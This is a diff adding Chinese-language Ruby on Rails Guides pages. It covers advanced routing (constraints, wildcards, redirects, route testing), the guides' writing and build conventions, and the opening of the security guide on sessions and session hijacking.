和成员路由一样,我们可以使用集合路由的 :on 选项:

+
+resources :photos do
+  get 'search', on: :collection
+end
+
+
+
+

2.10.3 为附加的 new 动作添加路由

我们可以通过 :on 选项,为附加的 new 动作添加路由:

+
+resources :comments do
+  get 'preview', on: :new
+end
+
+
+
+

通过上述声明,Rails 路由能够识别 /comments/new/preview 路径上的 GET 请求,并把请求映射到 Comments 控制器的 preview 动作上,同时创建 preview_new_comment_urlpreview_new_comment_path 辅助方法。

如果我们为资源路由添加了过多动作,就需要考虑一下,是不是应该声明新资源了。

3 非资源式路由

除了资源路由之外,对于把任意 URL 地址映射到控制器动作的路由,Rails 也提供了强大的支持。和资源路由自动生成一系列路由不同,这时我们需要分别声明各个路由。

尽管我们通常会使用资源路由,但在一些情况下,使用简单路由更为合适。对于不适合使用资源路由的情况,我们也不必强迫自己使用资源路由。

对于把旧系统的 URL 地址映射到新 Rails 应用上的情况,简单路由特别适用。

3.1 绑定参数

在声明普通路由时,我们可以使用符号,将其作为 HTTP 请求的一部分。例如,下面的路由:

+
+get 'photos(/:id)', to: :display
+
+
+
+

在处理 /photos/1 请求时(假设这个路由是第一个匹配的路由),会把请求映射到 Photos 控制器的 display 动作上,并把参数 1 传入 params[:id]。而 /photos 请求,也会被这个路由映射到 PhotosController#display 上,因为 :id 在括号中,是可选参数。

3.2 动态片段

在声明普通路由时,我们可以根据需要使用多个动态片段(dynamic segment)。动态片段会传入 params,以便在控制器动作中使用。例如,对于下面的路由:

+
+get 'photos/:id/:user_id', to: 'photos#show'
+
+
+
+

/photos/1/2 路径会被映射到 Photos 控制器的 show 动作上。此时,params[:id] 的值是 "1"params[:user_id] 的值是 "2"

默认情况下,在动态片段中不能使用小圆点(.),因为小圆点是格式化路由(formatted route)的分隔符。如果想在动态片段中使用小圆点,可以通过添加约束来实现相同效果,例如,id: /[^\/]+/ 可以匹配除斜线外的一个或多个字符。

3.3 静态片段

在创建路由时,我们可以用不带冒号的片段来指定静态片段(static segment):

+
+get 'photos/:id/with_user/:user_id', to: 'photos#show'
+
+
+
+

这个路由可以响应像 /photos/1/with_user/2 这样的路径,此时,params 的值为 { controller: 'photos', action: 'show', id: '1', user_id: '2' }

3.4 查询字符串

params 也包含了查询字符串中的所有参数。例如,对于下面的路由:

+
+get 'photos/:id', to: 'photos#show'
+
+
+
+

/photos/1?user_id=2 路径会被映射到 Photos 控制器的 show 动作上,此时,params 的值是 { controller: 'photos', action: 'show', id: '1', user_id: '2' }

3.5 定义默认值

:defaults 选项设定的散列为路由定义默认值。未通过动态片段定义的参数也可以指定默认值。例如:

+
+get 'photos/:id', to: 'photos#show', defaults: { format: 'jpg' }
+
+
+
+

Rails 会把 /photos/12 路径映射到 Photos 控制器的 show 动作上,并把 params[:format] 设为 "jpg"

defaults 还有块的形式,可为多个路由定义默认值:

+
+defaults format: :json do
+  resources :photos
+end
+
+
+
+

出于安全考虑,Rails 不允许用查询参数来覆盖默认值。只有一种情况下可以覆盖默认值,即通过 URL 路径替换来覆盖动态片段。

3.6 为路由命名

通过 :as 选项,我们可以为路由命名:

+
+get 'exit', to: 'sessions#destroy', as: :logout
+
+
+
+

这个路由声明会创建 logout_pathlogout_url 具名辅助方法。其中,logout_path 辅助方法的返回值是 /exit

通过为路由命名,我们还可以覆盖由资源路由定义的路由辅助方法,例如:

+
+get ':username', to: 'users#show', as: :user
+
+
+
+

这个路由声明会定义 user_path 辅助方法,此方法可以在控制器、辅助方法和视图中使用,其返回值类似 /bob。在 Users 控制器的 show 动作中,params[:username] 的值是用户名。如果不想使用 :username 作为参数名,可以在路由声明中把 :username 改为其他名字。

3.7 HTTP 方法约束

通常,我们应该使用 getpostputpatchdelete 方法来约束路由可以匹配的 HTTP 方法。通过使用 match 方法和 :via 选项,我们可以一次匹配多个 HTTP 方法:

+
+match 'photos', to: 'photos#show', via: [:get, :post]
+
+
+
+

通过 via: :all 选项,路由可以匹配所有 HTTP 方法:

+
+match 'photos', to: 'photos#show', via: :all
+
+
+
+

GETPOST 请求映射到同一个控制器动作上会带来安全隐患。通常,除非有足够的理由,我们应该避免把使用不同 HTTP 方法的所有请求映射到同一个控制器动作上。

Rails 在处理 GET 请求时不会检查 CSRF 令牌。在处理 GET 请求时绝对不可以对数据库进行写操作,更多介绍请参阅 CSRF 对策

3.8 片段约束

我们可以使用 :constraints 选项来约束动态片段的格式:

+
+get 'photos/:id', to: 'photos#show', constraints: { id: /[A-Z]\d{5}/ }
+
+
+
+

这个路由会匹配 /photos/A12345 路径,但不会匹配 /photos/893 路径。此路由还可以简写为:

+
+get 'photos/:id', to: 'photos#show', id: /[A-Z]\d{5}/
+
+
+
+

:constraints 选项的值可以是正则表达式,但不能使用 ^ 符号。例如,下面的路由写法是错误的:

+
+get '/:id', to: 'articles#show', constraints: { id: /^\d/ }
+
+
+
+

其实,使用 ^ 符号也完全没有必要,因为路由总是从头开始匹配。

例如,对于下面的路由,/1-hello-world 路径会被映射到 articles#show 上,而 /david 路径会被映射到 users#show 上:

+
+get '/:id', to: 'articles#show', constraints: { id: /\d.+/ }
+get '/:username', to: 'users#show'
+
+
+
+

3.9 请求约束

如果在请求对象上调用某个方法的返回值是字符串,我们就可以用这个方法来约束路由。

请求约束和片段约束的用法相同:

+
+get 'photos', to: 'photos#index', constraints: { subdomain: 'admin' }
+
+
+
+

我们还可以用块来指定约束:

+
+namespace :admin do
+  constraints subdomain: 'admin' do
+    resources :photos
+  end
+end
+
+
+
+

请求约束(request constraint)的工作原理,是在请求对象上调用和约束条件中散列的键同名的方法,然后比较返回值和散列的值。因此,约束中散列的值和调用方法返回的值的类型应当相同。例如,constraints: { subdomain: 'api' } 会匹配 api 子域名,但是 constraints: { subdomain: :api } 不会匹配 api 子域名,因为后者散列的值是符号,而 request.subdomain 方法的返回值 'api' 是字符串。

格式约束(format constraint)是一个例外:尽管格式约束是在请求对象上调用的方法,但同时也是路径的隐式可选参数(implicit optional parameter)。片段约束的优先级高于格式约束,而格式约束在通过散列指定时仅作为隐式可选参数。例如,get 'foo', constraints: { format: 'json' } 路由会匹配 GET /foo 请求,因为默认情况下格式约束是可选的。尽管如此,我们可以使用 lambda,例如,get 'foo', constraints: lambda { |req| req.format == :json } 路由只匹配显式 JSON 请求。

3.10 高级约束

如果需要更复杂的约束,我们可以使用能够响应 matches? 方法的对象作为约束。假设我们想把所有黑名单用户映射到 Blacklist 控制器,可以这么做:

+
+class BlacklistConstraint
+  def initialize
+    @ips = Blacklist.retrieve_ips
+  end
+
+  def matches?(request)
+    @ips.include?(request.remote_ip)
+  end
+end
+
+Rails.application.routes.draw do
+  get '*path', to: 'blacklist#index',
+    constraints: BlacklistConstraint.new
+end
+
+
+
+

我们还可以用 lambda 来指定约束:

+
+Rails.application.routes.draw do
+  get '*path', to: 'blacklist#index',
+    constraints: lambda { |request| Blacklist.retrieve_ips.include?(request.remote_ip) }
+end
+
+
+
+

在上面两段代码中,matches? 方法和 lambda 都是把请求对象作为参数。

3.11 路由通配符和通配符片段

路由通配符用于指定特殊参数,这一参数会匹配路由的所有剩余部分。例如:

+
+get 'photos/*other', to: 'photos#unknown'
+
+
+
+

这个路由会匹配 photos/12/photos/long/path/to/12 路径,并把 params[:other] 分别设置为 "12""long/path/to/12"。像 *other 这样以星号开头的片段,称作“通配符片段”。

通配符片段可以出现在路由中的任何位置。例如:

+
+get 'books/*section/:title', to: 'books#show'
+
+
+
+

这个路由会匹配 books/some/section/last-words-a-memoir 路径,此时,params[:section] 的值是 'some/section'params[:title] 的值是 'last-words-a-memoir'

严格来说,路由中甚至可以有多个通配符片段,其匹配方式也非常直观。例如:

+
+get '*a/foo/*b', to: 'test#index'
+
+
+
+

会匹配 zoo/woo/foo/bar/baz 路径,此时,params[:a] 的值是 'zoo/woo'params[:b] 的值是 'bar/baz'

get '*pages', to: 'pages#show' 路由在处理 '/foo/bar.json' 请求时,params[:pages] 的值是 'foo/bar',请求格式(request format)是 JSON。如果想让 Rails 按 3.0.x 版本的方式进行匹配,可以使用 format: false 选项,例如:

+
+get '*pages', to: 'pages#show', format: false
+
+
+
+

如果想强制使用格式约束,或者说让格式约束不再是可选的,我们可以使用 format: true 选项,例如:

+
+get '*pages', to: 'pages#show', format: true
+
+
+
+

3.12 重定向

在路由中,通过 redirect 辅助方法可以把一个路径重定向到另一个路径:

+
+get '/stories', to: redirect('/articles')
+
+
+
+

在重定向的目标路径中,可以使用源路径中的动态片段:

+
+get '/stories/:name', to: redirect('/articles/%{name}')
+
+
+
+

我们还可以重定向到块,这个块可以接受符号化的路径参数和请求对象:

+
+get '/stories/:name', to: redirect { |path_params, req| "/articles/#{path_params[:name].pluralize}" }
+get '/stories', to: redirect { |path_params, req| "/articles/#{req.subdomain}" }
+
+
+
+

请注意,redirect 重定向默认是 301 永久重定向,有些浏览器或代理服务器会缓存这种类型的重定向,从而导致无法访问重定向前的网页。为了避免这种情况,我们可以使用 :status 选项修改响应状态:

+
+get '/stories/:name', to: redirect('/articles/%{name}', status: 302)
+
+
+
+

在重定向时,如果不指定主机(例如 http://www.example.com),Rails 会使用当前请求的主机。

3.13 映射到 Rack 应用的路由

在声明路由时,我们不仅可以使用字符串,例如映射到 Articles 控制器的 index 动作的 'articles#index',还可以指定 Rack 应用为端点:

+
+match '/application.js', to: MyRackApp, via: :all
+
+
+
+

只要 MyRackApp 应用能够响应 call 方法并返回 [status, headers, body] 数组,对于路由来说,Rack 应用和控制器动作就没有区别。via: :all 选项使 Rack 应用可以处理所有 HTTP 方法。

实际上,'articles#index' 会被展开为 ArticlesController.action(:index),其返回值正是一个 Rack 应用。

记住,路由所匹配的路径,就是 Rack 应用接收的路径。例如,对于下面的路由,Rack 应用接收的路径是 /admin

+
+match '/admin', to: AdminApp, via: :all
+
+
+
+

如果想让 Rack 应用接收根路径上的请求,可以使用 mount 方法:

+
+mount AdminApp, at: '/admin'
+
+
+
+

3.14 使用 root 方法

root 方法指明如何处理根路径(/)上的请求:

+
+root to: 'pages#main'
+root 'pages#main' # 上一行代码的简易写法
+
+
+
+

root 路由应该放在路由文件的顶部,因为最常用的路由应该首先匹配。

root 路由只处理 GET 请求。

我们还可以在命名空间和作用域中使用 root 方法,例如:

+
+namespace :admin do
+  root to: "admin#index"
+end
+
+root to: "home#index"
+
+
+
+

3.15 Unicode 字符路由

在声明路由时,可以直接使用 Unicode 字符,例如:

+
+get 'こんにちは', to: 'welcome#index'
+
+
+
+

4 自定义资源路由

尽管 resources :articles 默认生成的路由和辅助方法通常都能很好地满足需求,但是也有一些情况下我们需要自定义资源路由。Rails 允许我们通过各种方式自定义资源式辅助方法(resourceful helper)。

4.1 指定控制器

:controller 选项用于显式指定资源使用的控制器,例如:

+
+resources :photos, controller: 'images'
+
+
+
+

这个路由会把 /photos 路径映射到 Images 控制器上:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
HTTP 方法路径控制器#动作具名辅助方法
GET/photosimages#indexphotos_path
GET/photos/newimages#newnew_photo_path
POST/photosimages#createphotos_path
GET/photos/:idimages#showphoto_path(:id)
GET/photos/:id/editimages#editedit_photo_path(:id)
+PATCH/PUT +/photos/:idimages#updatephoto_path(:id)
DELETE/photos/:idimages#destroyphoto_path(:id)
+

请使用 photos_pathnew_photo_path 等辅助方法为资源生成路径。

对于命名空间中的控制器,我们可以使用目录表示法(directory notation)。例如:

+
+resources :user_permissions, controller: 'admin/user_permissions'
+
+
+
+

这个路由会映射到 Admin::UserPermissions 控制器。

在这种情况下,我们只能使用目录表示法。如果我们使用 Ruby 的常量表示法(constant notation),例如 controller: 'Admin::UserPermissions',有可能导致路由错误,而使 Rails 显示警告信息。

4.2 指定约束

:constraints 选项用于指定隐式 ID 必须满足的格式要求。例如:

+
+resources :photos, constraints: { id: /[A-Z][A-Z][0-9]+/ }
+
+
+
+

这个路由声明使用正则表达式来约束 :id 参数。此时,路由将不会匹配 /photos/1 路径,但会匹配 /photos/RR27 路径。

我们可以通过块把一个约束应用于多个路由:

+
+constraints(id: /[A-Z][A-Z][0-9]+/) do
+  resources :photos
+  resources :accounts
+end
+
+
+
+

当然,在这种情况下,我们也可以使用非资源路由的高级约束。

默认情况下,在 :id 参数中不能使用小圆点,因为小圆点是格式化路由的分隔符。如果想在 :id 参数中使用小圆点,可以通过添加约束来实现相同效果,例如,id: /[^\/]+/ 可以匹配除斜线外的一个或多个字符。

4.3 覆盖具名路由辅助方法

通过 :as 选项,我们可以覆盖具名路由辅助方法的默认名称。例如:

+
+resources :photos, as: 'images'
+
+
+
+

这个路由会把以 /photos 开头的路径映射到 Photos 控制器上,同时通过 :as 选项设置具名辅助方法的名称。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
HTTP 方法路径控制器#动作具名辅助方法
GET/photosphotos#indeximages_path
GET/photos/newphotos#newnew_image_path
POST/photosphotos#createimages_path
GET/photos/:idphotos#showimage_path(:id)
GET/photos/:id/editphotos#editedit_image_path(:id)
+PATCH/PUT +/photos/:idphotos#updateimage_path(:id)
DELETE/photos/:idphotos#destroyimage_path(:id)
+

4.4 覆盖 newedit 片段

:path_names 选项用于覆盖路径中自动生成的 newedit 片段,例如:

+
+resources :photos, path_names: { new: 'make', edit: 'change' }
+
+
+
+

这个路由能够识别下面的路径:

+
+/photos/make
+/photos/1/change
+
+
+
+

:path_names 选项不会改变控制器动作的名称,上面这两个路径仍然被分别映射到 newedit 动作上。

通过作用域,我们可以对所有路由应用 :path_names 选项。

+
+scope path_names: { new: 'make' } do
+  # 其余路由
+end
+
+
+
+

4.5 为具名路由辅助方法添加前缀

通过 :as 选项,我们可以为具名路由辅助方法添加前缀。通过在作用域中使用 :as 选项,我们可以解决路由名称冲突的问题。例如:

+
+scope 'admin' do
+  resources :photos, as: 'admin_photos'
+end
+
+resources :photos
+
+
+
+

上述路由声明会生成 admin_photos_pathnew_admin_photo_path 等辅助方法。

通过在作用域中使用 :as 选项,我们可以为一组路由辅助方法添加前缀:

+
+scope 'admin', as: 'admin' do
+  resources :photos, :accounts
+end
+
+resources :photos, :accounts
+
+
+
+

上述路由会生成 admin_photos_pathadmin_accounts_path 等辅助方法,其返回值分别为 /admin/photos/admin/accounts 等。

namespace 作用域除了添加 :as 选项指定的前缀,还会添加 :module:path 前缀。

我们还可以使用具名参数指定路由前缀,例如:

+
+scope ':username' do
+  resources :articles
+end
+
+
+
+

这个路由能够识别 /bob/articles/1 路径,此时,在控制器、辅助方法和视图中,我们可以使用 params[:username] 获取路径中的 username 部分,即 bob

4.6 限制所创建的路由

默认情况下,Rails 会为每个 REST 式路由创建 7 个默认动作(indexshownewcreateeditupdatedestroy)。我们可以使用 :only:except 选项来微调此行为。:only 选项用于指定想要生成的路由:

+
+resources :photos, only: [:index, :show]
+
+
+
+

此时,/photos 路径上的 GET 请求会成功,而 POST 请求会失败,因为后者会被映射到 create 动作上。

:except 选项用于指定不想生成的路由:

+
+resources :photos, except: :destroy
+
+
+
+

此时,Rails 会创建除 destroy 之外的所有路由,因此 /photos/:id 路径上的 DELETE 请求会失败。

如果应用中有很多资源式路由,通过 :only:except 选项,我们可以只生成实际需要的路由,这样可以减少内存使用、加速路由处理过程。

4.7 本地化路径

在使用 scope 方法时,我们可以修改 resources 方法生成的路径名称。例如:

+
+scope(path_names: { new: 'neu', edit: 'bearbeiten' }) do
+  resources :categories, path: 'kategorien'
+end
+
+
+
+

Rails 会生成下列映射到 Categories 控制器的路由:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
HTTP 方法路径控制器#动作具名辅助方法
GET/kategoriencategories#indexcategories_path
GET/kategorien/neucategories#newnew_category_path
POST/kategoriencategories#createcategories_path
GET/kategorien/:idcategories#showcategory_path(:id)
GET/kategorien/:id/bearbeitencategories#editedit_category_path(:id)
+PATCH/PUT +/kategorien/:idcategories#updatecategory_path(:id)
DELETE/kategorien/:idcategories#destroycategory_path(:id)
+

4.8 覆盖资源的单数形式

通过为 Inflector 添加附加的规则,我们可以定义资源的单数形式。例如:

+
+ActiveSupport::Inflector.inflections do |inflect|
+  inflect.irregular 'tooth', 'teeth'
+end
+
+
+
+

4.9 在嵌套资源中使用 :as 选项

在嵌套资源中,我们可以使用 :as 选项覆盖自动生成的辅助方法名称。例如:

+
+resources :magazines do
+  resources :ads, as: 'periodical_ads'
+end
+
+
+
+

会生成 magazine_periodical_ads_urledit_magazine_periodical_ad_path 等辅助方法。

4.10 覆盖具名路由的参数

:param 选项用于覆盖默认的资源标识符 :id(用于生成路由的动态片段的名称)。在控制器中,我们可以通过 params[<:param>] 访问资源标识符。

+
+resources :videos, param: :identifier
+
+
+
+
+
+videos GET  /videos(.:format)                  videos#index
+       POST /videos(.:format)                  videos#create
+new_videos GET  /videos/new(.:format)              videos#new
+edit_videos GET  /videos/:identifier/edit(.:format) videos#edit
+
+
+
+
+
+Video.find_by(identifier: params[:identifier])
+
+
+
+

通过覆盖相关模型的 ActiveRecord::Base#to_param 方法,我们可以构造 URL 地址:

+
+class Video < ApplicationRecord
+  def to_param
+    identifier
+  end
+end
+
+video = Video.find_by(identifier: "Roman-Holiday")
+edit_videos_path(video) # => "/videos/Roman-Holiday"
+
+
+
+

5 审查和测试路由

Rails 提供了路由检查和测试的相关功能。

5.1 列出现有路由

要想得到应用中现有路由的完整列表,可以在开发环境中运行服务器,然后在浏览器中访问 http://localhost:3000/rails/info/routes。在终端中执行 rails routes 命令,也会得到相同的输出结果。

这两种方式都会按照路由在 config/routes.rb 文件中的声明顺序,列出所有路由。每个路由都包含以下信息:

+
    +
  • 路由名称(如果有的话)
  • +
  • 所使用的 HTTP 方法(如果路由不响应所有的 HTTP 方法)
  • +
  • 所匹配的 URL 模式
  • +
  • 路由参数
  • +
+

例如,下面是执行 rails routes 命令后,REST 式路由的一部分输出结果:

+
+    users GET    /users(.:format)          users#index
+          POST   /users(.:format)          users#create
+ new_user GET    /users/new(.:format)      users#new
+edit_user GET    /users/:id/edit(.:format) users#edit
+
+
+
+

可以使用 grep 选项(即 -g)搜索路由。只要路由的 URL 辅助方法的名称、HTTP 方法或 URL 路径中有部分匹配,该路由就会显示在搜索结果中。

+
+$ bin/rails routes -g new_comment
+$ bin/rails routes -g POST
+$ bin/rails routes -g admin
+
+
+
+

要想查看映射到指定控制器的路由,可以使用 -c 选项。

+
+$ bin/rails routes -c users
+$ bin/rails routes -c admin/users
+$ bin/rails routes -c Comments
+$ bin/rails routes -c Articles::CommentsController
+
+
+
+

为了增加 rails routes 命令输出结果的可读性,可以增加终端窗口的宽度,避免输出结果折行。

5.2 测试路由

路由和应用的其他部分一样,也应该包含在测试策略中。为了简化路由测试,Rails 提供了三个内置断言

+
    +
  • assert_generates 断言
  • +
  • assert_recognizes 断言
  • +
  • assert_routing 断言
  • +
+

5.2.1 assert_generates 断言

assert_generates 断言的功能是断定所指定的一组选项会生成指定路径,它可以用于默认路由或自定义路由。例如:

+
+assert_generates '/photos/1', { controller: 'photos', action: 'show', id: '1' }
+assert_generates '/about', controller: 'pages', action: 'about'
+
+
+
+

5.2.2 assert_recognizes 断言

assert_recognizes 断言和 assert_generates 断言的功能相反,它断定所提供的路径能够被路由识别并映射到指定控制器动作。例如:

+
+assert_recognizes({ controller: 'photos', action: 'show', id: '1' }, '/photos/1')
+
+
+
+

我们可以通过 :method 参数指定 HTTP 方法:

+
+assert_recognizes({controller:'photos',action:'create'},{path:'photos',method::post})
+
+
+
+

5.2.3 assert_routing 断言

assert_routing 断言会对路由进行双向测试:既测试路径能否生成选项,也测试选项能否生成路径。也就是集 assert_generatesassert_recognizes 这两种断言的功能于一身。

+
+assert_routing({ path: 'photos', method: :post }, { controller: 'photos', action: 'create' })
+
+
+
+ + +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/ruby_on_rails_guides_guidelines.html b/ruby_on_rails_guides_guidelines.html new file mode 100644 index 0000000..8a1adff --- /dev/null +++ b/ruby_on_rails_guides_guidelines.html @@ -0,0 +1,374 @@ + + + + + + + +Ruby on Rails 指南指导方针 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

Ruby on Rails 指南指导方针

本文说明编写 Ruby on Rails 指南的指导方针。本文也遵守这一方针,本身就是个示例。

读完本文后,您将学到:

+
    +
  • Rails 文档使用的约定;
  • +
  • 如何在本地生成指南。
  • +
+ + + + +
+
+ +
+
+
+

1 Markdown

指南使用 GitHub Flavored Markdown 编写。Markdown 有完整的文档,还有速查表

2 序言

每篇文章的开头要有介绍性文字(蓝色区域中的简短介绍)。序言应该告诉读者文章的主旨,以及能让读者学到什么。可以以Rails 路由全解为例。

3 标题

每篇文章的标题使用 h1 标签,文章中的小节使用 h2 标签,子节使用 h3 标签,以此类推。注意,生成的 HTML 从 <h2> 标签开始。

+
+Guide Title
+===========
+
+Section
+-------
+
+### Sub Section
+
+
+
+

标题中除了介词、连词、冠词和“to be”这种形式的动词之外,每个词的首字母大写:

+
+#### Middleware Stack is an Array
+#### When are Objects Saved?
+
+
+
+

行内格式与正文一样:

+
+##### The `:content_type` Option
+
+
+
+

4 指向 API 的链接

指南生成程序使用下述方式处理指向 API(api.rubyonrails.org)的链接。

包含版本号的链接原封不动。例如,下述链接不做修改:

+
+http://api.rubyonrails.org/v5.0.1/classes/ActiveRecord/Attributes/ClassMethods.html
+
+
+
+

请在发布记中使用这种链接,因为不管生成哪个版本的指南,发布记中的链接不应该变。

如果链接中没有版本号,而且生成的是最新开发版的指南,域名会替换成 edgeapi.rubyonrails.org。例如:

+
+http://api.rubyonrails.org/classes/ActionDispatch/Response.html
+
+
+
+

会变成:

+
+http://edgeapi.rubyonrails.org/classes/ActionDispatch/Response.html
+
+
+
+

如果链接中没有版本号,而生成的是某个版本的指南,会在链接中插入版本号。例如,生成 v5.1.0 的指南时,下述链接:

+
+http://api.rubyonrails.org/classes/ActionDispatch/Response.html
+
+
+
+

会变成:

+
+http://api.rubyonrails.org/v5.1.0/classes/ActionDispatch/Response.html
+
+
+
+

请勿直接链接到 edgeapi.rubyonrails.org

5 API 文档指导方针

指南和 API 应该连贯一致。尤其是API 文档指导方针中的下述几节,同样适用于指南:

+ +

6 HTML 版指南

在生成指南之前,先确保你的系统中安装了 Bundler 的最新版。写作本文时,要在你的设备中安装 Bundler 1.3.5 或以上版本。

安装最新版 Bundler 的方法是,执行 gem install bundler 命令。

6.1 生成

若想生成全部指南,进入 guides 目录,执行 bundle install 命令之后再执行:

+
+$ bundle exec rake guides:generate
+
+
+
+

或者

+
+$ bundle exec rake guides:generate:html
+
+
+
+

得到的 HTML 文件在 ./output 目录中。

如果只想处理 my_guide.md,使用 ONLY 环境变量:

+
+$ touch my_guide.md
+$ bundle exec rake guides:generate ONLY=my_guide
+
+
+
+

默认情况下,没有改动的文章不会处理,因此实际使用中很少用到 ONLY

如果想强制处理所有文章,传入 ALL=1

如果想生成英语之外的指南,可以把译文放在 source 中的子目录里(如 source/es),然后使用 GUIDES_LANGUAGE 环境变量:

+
+$ bundle exec rake guides:generate GUIDES_LANGUAGE=es
+
+
+
+

如果想查看可用于配置生成脚本的全部环境变量,只需执行:

+
+$ rake
+
+
+
+

6.2 验证

请使用下述命令验证生成的 HTML:

+
+$ bundle exec rake guides:validate
+
+
+
+

尤其要注意,ID 是从标题的内容中生成的,往往会重复。生成指南时请设定 WARNINGS=1,监测重复的 ID。提醒消息中有建议的解决方案。

7 Kindle 版指南

7.1 生成

如果想生成 Kindle 版指南,使用下述 Rake 任务:

+
+$ bundle exec rake guides:generate:kindle
+
+
+
+ + +

反馈

+

+ 我们鼓励您帮助提高本指南的质量。 +

+

+ 如果看到如何错字或错误,请反馈给我们。 + 您可以阅读我们的文档贡献指南。 +

+

+ 您还可能会发现内容不完整或不是最新版本。 + 请添加缺失文档到 master 分支。请先确认 Edge Guides 是否已经修复。 + 关于用语约定,请查看Ruby on Rails 指南指导。 +

+

+ 无论什么原因,如果你发现了问题但无法修补它,请创建 issue。 +

+

+ 最后,欢迎到 rubyonrails-docs 邮件列表参与任何有关 Ruby on Rails 文档的讨论。 +

+

中文翻译反馈

+

贡献:https://github.com/ruby-china/guides

+
+
+
+ +
+ + + + + + + + + diff --git a/security.html b/security.html new file mode 100644 index 0000000..82ae96b --- /dev/null +++ b/security.html @@ -0,0 +1,949 @@ + + + + + + + +Ruby on Rails 安全指南 — Ruby on Rails Guides + + + + + + + + + + + +
+
+ 更多内容 rubyonrails.org: + + 更多内容 + + +
+
+ +
+ +
+
+

Ruby on Rails 安全指南

本文介绍 Web 应用常见的安全问题,以及如何在 Rails 中规避。

读完本文后,您将学到:

+
    +
  • 所有需要强调的安全对策;
  • +
  • Rails 中会话的概念,应该在会话中保存什么内容,以及常见的攻击方式;
  • +
  • 为什么访问网站也可能带来安全问题(跨站请求伪造);
  • +
  • 处理文件或提供管理界面时需要注意的问题;
  • +
  • 如何管理用户:登录、退出,以及不同层次上的攻击方式;
  • +
  • 最常见的注入攻击方式。
  • +
+ + + + +
+
+ +
+
+
+

1 简介

Web 应用框架的作用是帮助开发者创建 Web 应用。其中一些框架还能帮助我们提高 Web 应用的安全性。事实上,框架之间无所谓谁更安全,对许多框架来说,只要使用正确,我们都能开发出安全的应用。Ruby on Rails 提供了一些十分智能的辅助方法,例如,用于防止 SQL 注入的辅助方法,极大减少了这一安全风险。

一般来说,并不存在什么即插即用的安全机制。安全性取决于开发者如何使用框架,有时也取决于开发方式。安全性还取决于 Web 应用环境的各个层面,包括后端存储、Web 服务器和 Web 应用自身等(甚至包括其他 Web 应用)。

不过,据高德纳咨询公司(Gartner Group)估计,75% 的攻击发生在 Web 应用层面,报告称“在进行了安全审计的 300 个网站中,97% 存在被攻击的风险”。这是因为针对 Web 应用的攻击相对来说更容易实施,其工作原理和具体操作都比较简单,即使是非专业人士也能发起攻击。

针对 Web 应用的安全威胁包括账户劫持、绕过访问控制、读取或修改敏感数据,以及显示欺诈信息等。有时,攻击者还会安装木马程序或使用垃圾邮件群发软件,以便获取经济利益,或者通过篡改公司资源来损害品牌形象。为了防止这些攻击,最大限度地降低或消除攻击造成的影响,首先我们必须全面了解各种攻击方式,只有这样才能找出正确对策——这正是本文的主要目的。

为了开发安全的 Web 应用,我们必须从各个层面紧跟安全形势,做到知己知彼。为此,我们可以订阅安全相关的邮件列表,阅读相关博客,同时养成及时更新并定期进行安全检查的习惯(请参阅 其他资源)。这些工作都是手动完成的,只有这样我们才能发现潜在的安全隐患。

2 会话

从会话入手来了解安全问题是一个很好的切入点,因为会话对于特定攻击十分脆弱。

2.1 会话是什么

HTTP 是无状态协议,会话使其有状态。

大多数应用需要跟踪特定用户的某些状态,例如购物车里的商品、当前登录用户的 ID 等。如果没有会话,就需要为每一次请求标识用户甚至进行身份验证。当新用户访问应用时,Rails 会自动新建会话,如果用户曾经访问过应用,就会加载已有会话。

会话通常由值的哈希和会话 ID(通常为 32 个字符的字符串)组成,其中会话 ID 用于标识哈希值。发送到客户端浏览器的每个 cookie 都包含会话 ID,另一方面,客户端浏览器发送到服务器的每个请求也包含会话 ID。在 Rails 中,我们可以使用 session 方法保存和取回值:

+
+session[:user_id] = @current_user.id
+User.find(session[:user_id])
+
+
+
+

2.2 会话 ID

会话 ID 是随机的 32 个十六进制字符。

会话 ID 由 SecureRandom.hex 生成,通过所在平台中生成加密安全随机数的方法(例如 OpenSSL、/dev/urandom 或 Win32)生成。目前还无法暴力破解 Rails 的会话 ID。

2.3 会话劫持

通过窃取用户的会话 ID,攻击者能够以受害者的身份使用 Web 应用。

很多 Web 应用都有身份验证系统:用户提供用户名和密码,Web 应用在验证后把对应的用户 ID 储存到会话散列中。之后,会话就可以合法使用了。对于每个请求,应用都会通过识别会话中储存的用户 ID 来加载用户,从而避免了重新进行身份验证。cookie 中的会话 ID 用于标识会话。

因此,cookie 提供了 Web 应用的临时身份验证。只要得到了他人的 cookie,任何人都能以该用户的身份使用 Web 应用,这可能导致严重的后果。下面介绍几种劫持会话的方式及其对策:

+
    +
  • +

    在不安全的网络中嗅探 cookie。无线局域网就是一个例子。在未加密的无线局域网中,监听所有已连接客户端的流量极其容易。因此,Web 应用开发者应该通过 SSL 提供安全连接。在 Rails 3.1 和更高版本中,可以在应用配置文件中设置强制使用 SSL 连接:

    +
    +
    +config.force_ssl = true
    +
    +
    +
    +
  • +
  • 大多数人在使用公共终端后不会清除 cookie。因此,如果最后一个用户没有退出 Web 应用,后续用户就能以该用户的身份继续使用。因此,Web 应用一定要提供“退出”按钮,并且要尽可能显眼。

  • +
  • 很多跨站脚本(XSS)攻击的目标是获取用户 cookie。更多介绍请参阅 跨站脚本(XSS)

  • +
  • 有的攻击者不窃取 cookie,而是篡改用户 cookie 中的会话 ID。这种攻击方式被称为固定会话攻击,后文会详细介绍。

  • +
+

